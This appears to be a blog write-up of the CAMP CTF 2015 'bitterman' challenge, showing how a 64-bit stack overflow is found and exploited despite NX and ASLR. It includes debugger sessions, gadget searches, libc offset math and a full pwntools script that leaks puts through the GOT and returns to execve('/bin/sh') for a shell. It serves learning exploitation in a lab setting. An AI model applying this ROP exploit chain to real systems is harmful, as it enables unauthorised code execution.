mulpdev@home:~$

Exploiting ASLR and NX

For this topic I went with bitterman challenge from CAMP CTF 2015 https://archive.aachen.ccc.de/campctf.ccc.ac/challenges/

IDA

Opening bitterman in IDA I see local variables for main, and the function prologue making space for what seems like a stack buffer

The space allocated for local variables is 0xB0 (176 bytes). argv and argc are at 0xB0 and 0xA4 respectively.

This means that the local variables are:

  • nbytes at 0x98, likely an int
  • buf at 0x90
  • username at 0x50

Next I check where those variables are used.

Each one is passed in as a parameter in one of the two calls to read_nbytes(). Looks like buf and username are likely character arrays. I skimmed read_bytes and it appeared to do what it’s named.

checksec

Next up is to determine exactly what security protections are in place.

devel@kub:~/challenges/bitterman$ checksec --file ./bitterman
[*] '/home/devel/challenges/bitterman/bitterman'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

devel@kub:~/challenges/bitterman$ cat /proc/sys/kernel/randomize_va_space 
2

We know that DEP is enabled and so is ASLR.

DEP can be defeated with ROP. ASLR needs an info leak to defeat.

Buffer Overflow

The first step in any buffer overflow is find the size of the overflow. I’ve just switched from PEDA to pwndbg, and installed pwntools for this challenege.

I start gdb on the bitterman binary. First step is to make a pattern big enough to guarantee an overflow. 0xB0 is 176 bytes, so I’ll make a pattern of 500 bytes just to be sure. I also need to make it 8bytes long for 64 bit addresses

pwndbg> cyclic -n8 500
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa

Next I copy the pattern and run the binary. I know from the IDA analysis that the username is always a max of 0x40 (64) bytes, but I can input whatever I want for the message length. Makes sense to try that buffer first.

pwndbg> r
> What's your name?                                                                                                                                                                                                             
> Hi, A

> Please input the length of your message
500
> Please enter your text:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
> Thanks
Program received signal SIGSEGV, Segmentation fault.

64 bit doesn’t allow direct manipulation of RIP, so I need to look at RSP to see if I control that

0x00000000004007e1 in main (argc=1, argv=0x7fffffffe038) at main.c:28
28      main.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────[ REGISTERS ]────────────────────────────
 RAX  0x0
 RBX  0x4007f0 (__libc_csu_init) ◂— push   r15
 RCX  0x7ffff7ed11e7 (write+23) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x0
 RDI  0x7ffff7fae4c0 (_IO_stdfile_1_lock) ◂— 0x0
 RSI  0x0
 R8   0x0
 R9   0x0
 R10  0x7ffff7f5eac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
 R11  0x246
 R12  0x400590 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe030 ◂— 0x6261616161616178 ('xaaaaaab')
 R14  0x0
 R15  0x0
 RBP  0x6161616161616173 ('saaaaaaa')
 RSP  0x7fffffffdf48 ◂— 0x6161616161616174 ('taaaaaaa')
 RIP  0x4007e1 (main+245) ◂— ret

RSP contains the string taaaaaaa. Now to find where that is in the pattern.

pwndbg> cyclic -n8 -l taaaaaaa
152

The offset occurs 152 bytes in. I can confirm this by looking at the local variables and seeing that the first one, nbytes, starts at 0x98 which is 152 in decimal.

Introducing a leak with ROP

NX is enabled so I need to use ROP to make leak an address. I need to know what libraries are loaded.

devel@kub:~/challenges/bitterman$ ldd bitterman
        linux-vdso.so.1 (0x00007ffdd2975000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9e0960f000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f9e0981a000)

This binary requires libc, so that’s what I will leak an address from.

I know that puts has already been called by the time I can send input. I will leak the address of puts.

To do this I need a few things

  1. A known location wwhere the puts address will be. I can get this from the GOT entry since I know it’s already been called and thus filled in.
  2. A pointer to the function puts, BEFORE the leak. I can use the PLT entry for this
  3. puts requires something to print. The first parameter in 64 bit linux is the RDI register. I need a ROP gadget to put something in RDI from the stack
  4. The address of main so that I can “restart” the binary without invoking ASLR

I can grab the GOT and PLT addresses with objdump. I also put the syntax in Intel mode because it’s easier to read for me.

devel@kub:~/challenges/bitterman$ objdump -D bitterman -M intel | grep puts                                                                                
0000000000400520 <puts@plt>:                                                                                                                               
  400520:       ff 25 2a 07 20 00       jmp    QWORD PTR [rip+0x20072a]        # 600c50 <puts@GLIBC_2.2.5>                                                 
  400709:       e8 12 fe ff ff          call   400520 <puts@plt>                                                                                           
  40074f:       e8 cc fd ff ff          call   400520 <puts@plt>                                                                                           
  400781:       e8 9a fd ff ff          call   400520 <puts@plt>                                                                                           
  4007c7:       e8 54 fd ff ff          call   400520 <puts@plt>

To find a ROP gadget, I used ropper

devel@kub:~/challenges/bitterman$ ropper --file bitterman --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: bitterman
0x0000000000400853: pop rdi; ret;
devel@kub:~/challenges/bitterman$ readelf -s ./bitterman | grep main
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
    42: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS main.c
    61: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
    71: 00000000004006ec   246 FUNC    GLOBAL DEFAULT   13 main

Offset Math

Once I get the leaked address, I’ll have to do math to find the base address of libc in memory. From there, I can simply add an offset for any symbol I want to access.

devel@kub:~/challenges/bitterman$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts
   194: 00000000000875a0   476 FUNC    GLOBAL DEFAULT   16 _IO_puts@@GLIBC_2.2.5
   429: 00000000000875a0   476 FUNC    WEAK   DEFAULT   16 puts@@GLIBC_2.2.5
   504: 00000000001273c0  1268 FUNC    GLOBAL DEFAULT   16 putspent@@GLIBC_2.2.5
   690: 0000000000129090   728 FUNC    GLOBAL DEFAULT   16 putsgent@@GLIBC_2.10
  1158: 0000000000085e60   384 FUNC    WEAK   DEFAULT   16 fputs@@GLIBC_2.2.5
  1705: 0000000000085e60   384 FUNC    GLOBAL DEFAULT   16 _IO_fputs@@GLIBC_2.2.5
  2342: 00000000000914a0   159 FUNC    WEAK   DEFAULT   16 fputs_unlocked@@GLIBC_2.2.5

I can calculate the base address from the leak

leak_puts_addr - puts_offset = libc_base_addr_in_mem

ROP to shell

We can make use of the leaked address to setup a second ROP payload to execute system

devel@kub:~/challenges/bitterman$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep execve
  1053: 00000000000e6320   299 FUNC    GLOBAL DEFAULT   16 fexecve@@GLIBC_2.2.5
  1517: 00000000000e62f0    37 FUNC    WEAK   DEFAULT   16 execve@@GLIBC_2.2.5

libc_base_addr_in_mem + execve_offset = execve_in_mem

https://security.stackexchange.com/questions/168101/return-to-libc-finding-libcs-address-and-finding-offsets

devel@kub:~/challenges/bitterman$ strings -t x -a /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
 1b75aa /bin/sh

pwntools and python

I can use pwntools to interact with the binary and perform pointer math.

.recv()[:8].strip().ljust(8, '\x00')

https://bufferoverflows.net/camp-ctf-2015-bitterman-write-up/

https://github.com/ctfs/write-ups-2015/tree/master/camp-ctf-2015/pwn/bitterman-300

#!/usr/bin/python3

from pwn import *

# Have to define context of exploit
context(os='linux', arch='amd64')

# First, we need to cause an information leak using ROP to defeat NX
# This can be accomplished by leaking an address in libc using the puts function call
# To do this we will print the address at the GOT entry for puts, by calling the PLT entry for puts.

puts_plt_addr = p64(0x400520)
puts_got_addr = p64(0x600c50)
gadget01 = p64(0x400853) #; pop rdi; ret
main = p64(0x4006ec)

bof = b'A'*152

payload = bof
payload += gadget01
payload += puts_got_addr
payload += puts_plt_addr
payload += main
# binary to exploit
proc = process('./bitterman')

# pwntools for interaction with process
proc.recvuntil("name?")
proc.sendline("A")
proc.recvuntil("message:")
proc.sendline("500")
proc.recvuntil("text:")
proc.sendline(payload) # EXPLOIT!
proc.recvuntil("Thanks!")
leaked = proc.recv()[:8].strip().ljust(8, b"\x00")

# Second we calculate the base of libc in memory
# and use it to make a ROP chain to run a shell

# apparently p64 is a wrapper around struct.pack() so we need correct types for math
leaked_puts= u64(leaked)
puts_offset = 0x875a0
execve_offset = 0xe62f0
binsh_str = 0x1b75aa

libc_base = leaked_puts - puts_offset

payload = bof
payload += gadget01
payload += p64(libc_base + binsh_str)
payload += p64(libc_base + execve_offset)

# binary waits for another name...
proc.sendline("A")
proc.recvuntil("message:")
proc.sendline("500")
proc.recvuntil("text:")
proc.sendline(payload) # EXPLOIT!
proc.interactive()